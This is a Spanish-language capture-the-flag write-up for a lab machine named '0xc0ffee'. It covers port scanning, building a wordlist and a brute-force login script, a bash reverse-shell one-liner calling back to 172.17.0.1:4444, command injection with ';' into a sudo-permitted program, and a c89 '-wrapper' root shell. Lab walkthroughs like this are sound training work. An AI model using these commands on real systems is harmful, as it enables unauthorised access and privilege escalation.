> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/0xc0ffee-write-up.md).

# 0xc0ffee write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/HxMLI6ibN7ofQSrt1mYM" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/1vUCXZUul3w0KfjKWj3Z" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 80 (HTTP) y el 7777 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador y observamos lo siguiente:

<figure><img src="/files/X1bEBzozC0paMVBLYt0w" alt=""><figcaption></figcaption></figure>

Como no encontramos nada está vez investigaremos el puerto 7777 ingresando la IP de la máquina víctima junto al puerto `172.17.0.2:7777` en el navegador.

<figure><img src="/files/tu8dqNXslZZt8bXD2TCc" alt=""><figcaption></figcaption></figure>

Encontramos un directory listing de lo que parece ser la carpeta home de un usuario, lo único interesante aquí es la nota [history.txt](http://172.17.0.2:7777/secret/history.txt) que encontramos en la carpeta `secret`.

<figure><img src="/files/NlsOHq117kzsJgKBn1PW" alt=""><figcaption></figcaption></figure>

Lo que vamos a hacer es copiar el contenido de este archivo y copiarlo en un archivo. Y ahora lo que haremos será pasar este archivo como input a un script en Python que nos generará un diccionario compuesto por cada palabra del archivo que le pasamos. El script de Python será el siguiente:

```python
import re

texto = input(">>>")

texto_limpio = re.sub(r"[\"\'.:(),;]+", " ", texto)

# Dividir en palabras
palabras = texto_limpio.split()

# Eliminar duplicados
palabras_unicas = sorted(set(palabras))

# Guardar en un archivo
with open("diccionario.txt", "w", encoding="utf-8") as f:
    for palabra in palabras_unicas:
        f.write(palabra + "\n")

print("Diccionario generado como 'diccionario.txt'")
```

Una vez tengamos el archivo y el script lo ejecutamos de la siguiente manera:

```bash
tr -d '\n' < archivo | python3 diccionario.py
```

<figure><img src="/files/uwesP4iq7cqaeKNA8eWc" alt=""><figcaption></figcaption></figure>

Esto nos genero el archivo `diccionario.txt`, así que ahora haremos un ataque de fuerza bruta al login con ayuda del siguiente script en bash:

```bash
#!/bin/bash

AZUL="\033[34m"
VERDE="\033[32m"
ROJO="\033[31m"
RESET="\033[0m"

echo -e "${AZUL}"
cat << "EOF"
  _____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  
EOF
echo -e "${RESET}"

diccionario="$1"

if [ -z "$diccionario" ]; then
    echo -e "${ROJO}Error: no has indicado el nombre del archivo${RESET}"
    exit 1
fi

if [ ! -f "$diccionario" ]; then
    echo -e "${ROJO}Error: El diccionario no existe${RESET}"
    exit 1
fi


while IFS= read -r keyword; do

    output=$(curl -s -X POST -d "keyword=$keyword" http://172.17.0.2 | grep -e "Access denied")

    if [ -z "$output" ]; then
        echo -e "${VERDE}La palabra correcta es "$keyword"${RESET}"
        exit 1
    fi

done < "$diccionario"
```

Así que una vez lo tengamos en nuestra máquina le damos permisos de ejecución y lo ejecutamos de la siguiente manera:

```bash
./0xc0ffee.sh diccionario.txt 
```

<figure><img src="/files/5vzcKOaVx1HrjFlxqata" alt=""><figcaption></figcaption></figure>

Esto nos indica que la palabra secreta es `super_secure_password`. Así que la introducimos en el login de la ruta `http://172.17.0.2`.

<figure><img src="/files/ReABixXNgohCKTnEFb7b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DGbJ3OMWCmhL6dAI7oEt" alt=""><figcaption></figcaption></figure>

Esto nos lleva a la ruta `http://172.17.0.2/super_ultra_secure_page/`, lo que vemos ahora es un formulario que crea un archivo, el cual luego puedes ejecutar su contenido. Por lo que si ingresamos el comando `whoami` en el campo de datos y ejecutamos el archivo creado observamos lo siguiente:

<figure><img src="/files/a4QLEMQI2A4yMstEoJas" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/scTYtPQErjGe9ojBCywT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fXwA1nXWFWC5KXrcAY24" alt=""><figcaption></figcaption></figure>

Observamos que efectivamente se ejecuta el comando. Así que está vez ingresaremos el comando `bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"`, nos pondremos en escucha por el puerto 4444 y ejecutaremos el archivo creado.

```bash
bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"
```

<figure><img src="/files/9RfFSYb9lpaX6IBxUYcX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/vShFHZwehXLQwRfaV0f4" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez que estamos en la máquina víctima nos encontramos con nota `/home/codebad/secret/adivina.txt`, la cual dice lo siguiente:

<figure><img src="/files/aDm9dyHTbrA1XqyJVzXh" alt=""><figcaption></figcaption></figure>

La respuesta correcta sería `malware` y sería la contraseña del usuario `codebad`, por lo tanto iniciamos sesión usando sus credenciales.

<figure><img src="/files/kdklXYZq9PwaiIClLcXr" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `codebad`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el programa llamado `/home/codebad/code` como el usuario `metadata`.

<figure><img src="/files/2EDpfuWErpEPeFMJnLjA" alt=""><figcaption></figcaption></figure>

El programa invoca el comando `ls`, empleando el argumento recibido como la ruta del directorio cuyo contenido se desea listar.

<figure><img src="/files/pC40t29SlMjM44m0hysv" alt=""><figcaption></figcaption></figure>

Sin embargo, si en el argumento añadimos el símbolo `;` podremos ejecutar varios comandos.

<figure><img src="/files/U9MmIaJD0c8gy41lhgHd" alt=""><figcaption></figcaption></figure>

Por lo que ejecutaremos lo siguiente:

```bash
sudo -u metadata /home/codebad/code "/ ; bash"
```

<figure><img src="/files/JH8RJrh7bNpsBUUJZDj0" alt=""><figcaption></figcaption></figure>

Ahora que somos el usuario `metadata`, encontramos el binario `/usr/local/bin/metadatosmalos`, el cual no tiene nada interesante, sin embargo, `metadatosmalos` es la contraseña del usuario `metadata`. Por lo tanto ahora podemos ejecutar el comando `sudo -l`, el cual nos indica que podemos ejecutar el comando `/usr/bin/c89` como usuario root.

<figure><img src="/files/2BGKN9W0YLDt0UabYV2K" alt=""><figcaption></figcaption></figure>

Por lo tanto si ejecutamos lo siguiente obtendremos una shell como usuario root:

```bash
sudo /usr/bin/c89 -wrapper /bin/bash,-s .
```

<figure><img src="/files/0WcxvIGUhoVQ4JxOFNgX" alt=""><figcaption></figcaption></figure>
